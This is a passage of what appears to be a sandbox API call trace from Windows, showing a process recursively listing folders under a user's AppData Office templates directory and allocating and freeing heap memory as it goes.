pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*" [0117.932] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0117.933] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="..", cAlternateFileName="")) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0117.933] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0117.933] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16396e8 [0117.933] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.933] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0117.933] GetProcessHeap () returned 0x1600000 [0117.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc4) returned 0x162c048 [0117.933] PathCombineW (in: pszDest=0x162c048, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", pszFile="Document Themes" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0117.933] GetProcessHeap () returned 0x1600000 [0117.933] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc8) returned 0x162c2b8 [0117.933] PathCombineW (in: pszDest=0x162c2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0117.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xba, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0117.934] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xba, cFileName="..", cAlternateFileName="")) returned 1 [0117.934] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xba, cFileName="1033", cAlternateFileName="")) returned 1 [0117.934] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xba, cFileName="1033", cAlternateFileName="")) returned 0 [0117.934] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0117.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x670061, dwReserved1=0x640065, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0117.934] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x670061, dwReserved1=0x640065, cFileName="..", cAlternateFileName="")) returned 1 [0117.934] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x670061, dwReserved1=0x640065, cFileName="1033", cAlternateFileName="")) returned 1 [0117.934] GetProcessHeap () returned 0x1600000 [0117.934] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xce) returned 0x16241b0 [0117.934] PathCombineW (in: pszDest=0x16241b0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", pszFile="1033" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0117.934] GetProcessHeap () returned 0x1600000 [0117.934] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1649080 [0117.934] PathCombineW (in: pszDest=0x1649080, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0117.934] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.935] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName="..", cAlternateFileName="")) returned 1 [0117.935] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0c6b4 | out: lpFindFileData=0x3e0c6b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xaa, cFileName="..", cAlternateFileName="")) returned 0 [0117.935] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.935] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640065, dwReserved1=0x44005c, cFileName=".", cAlternateFileName="")) returned 0x1639568 [0117.935] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640065, dwReserved1=0x44005c, cFileName="..", cAlternateFileName="")) returned 1 [0117.935] FindNextFileW (in: hFindFile=0x1639568, lpFindFileData=0x3e0c464 | out: lpFindFileData=0x3e0c464*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x640065, dwReserved1=0x44005c, cFileName="..", cAlternateFileName="")) returned 0 [0117.935] FindClose (in: hFindFile=0x1639568 | out: hFindFile=0x1639568) returned 1 [0117.935] GetProcessHeap () returned 0x1600000 [0117.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649080 | out: hHeap=0x1600000) returned 1 [0117.935] GetProcessHeap () returned 0x1600000 [0117.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16241b0 | out: hHeap=0x1600000) returned 1 [0117.935] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x670061, dwReserved1=0x640065, cFileName="1033", cAlternateFileName="")) returned 0 [0117.935] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0117.935] GetProcessHeap () returned 0x1600000 [0117.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c2b8 | out: hHeap=0x1600000) returned 1 [0117.935] GetProcessHeap () returned 0x1600000 [0117.935] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162c048 | out: hHeap=0x1600000) returned 1 [0117.936] FindNextFileW (in: hFindFile=0x16396e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0117.936] FindClose (in: hFindFile=0x16396e8 | out: hFindFile=0x16396e8) returned 1 [0117.936] GetProcessHeap () returned 0x1600000 [0117.936] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e2b8 | out: hHeap=0x1600000) returned 1 [0117.936] GetProcessHeap () returned 0x1600000 [0117.936] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0117.936] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="User", cAlternateFileName="")) returned 1 [0117.936] GetProcessHeap () returned 0x1600000 [0117.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x1656f58 [0117.936] PathCombineW (in: pszDest=0x1656f58, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="User" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0117.936] GetProcessHeap () returned 0x1600000 [0117.936] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162cec8 [0117.936] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0117.936] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0117.936] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="..", cAlternateFileName="")) returned 1 [0117.936] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0117.936] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc2, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0117.936] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0117.936] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16395e8 [0117.937] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0117.937] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0117.937] GetProcessHeap () returned 0x1600000 [0117.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xbe) returned 0x16415f0 [0117.937] PathCombineW (in: pszDest=0x16415f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", pszFile="Document Themes" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0117.937] GetProcessHeap () returned 0x1600000 [0117.937] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc2) returned 0x162bc38 [0117.937] PathCombineW (in: pszDest=0x162bc38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0117.937] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName=".", cAlternateFileName="")) returned 0x16397a8 [0117.938] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName="..", cAlternateFileName="")) returned 1 [0117.938] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName="1033", cAlternateFileName="")) returned 1 [0117.938] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0cbb0 | out: lpFindFileData=0x3e0cbb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x183f9c5e, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x183f9c5e, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbd, cFileName="1033", cAlternateFileName="")) returned 0 [0117.938] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0117.938] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x3e0c960 | out: lpFindFileData=0x3e0c960*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x183f9c5e, 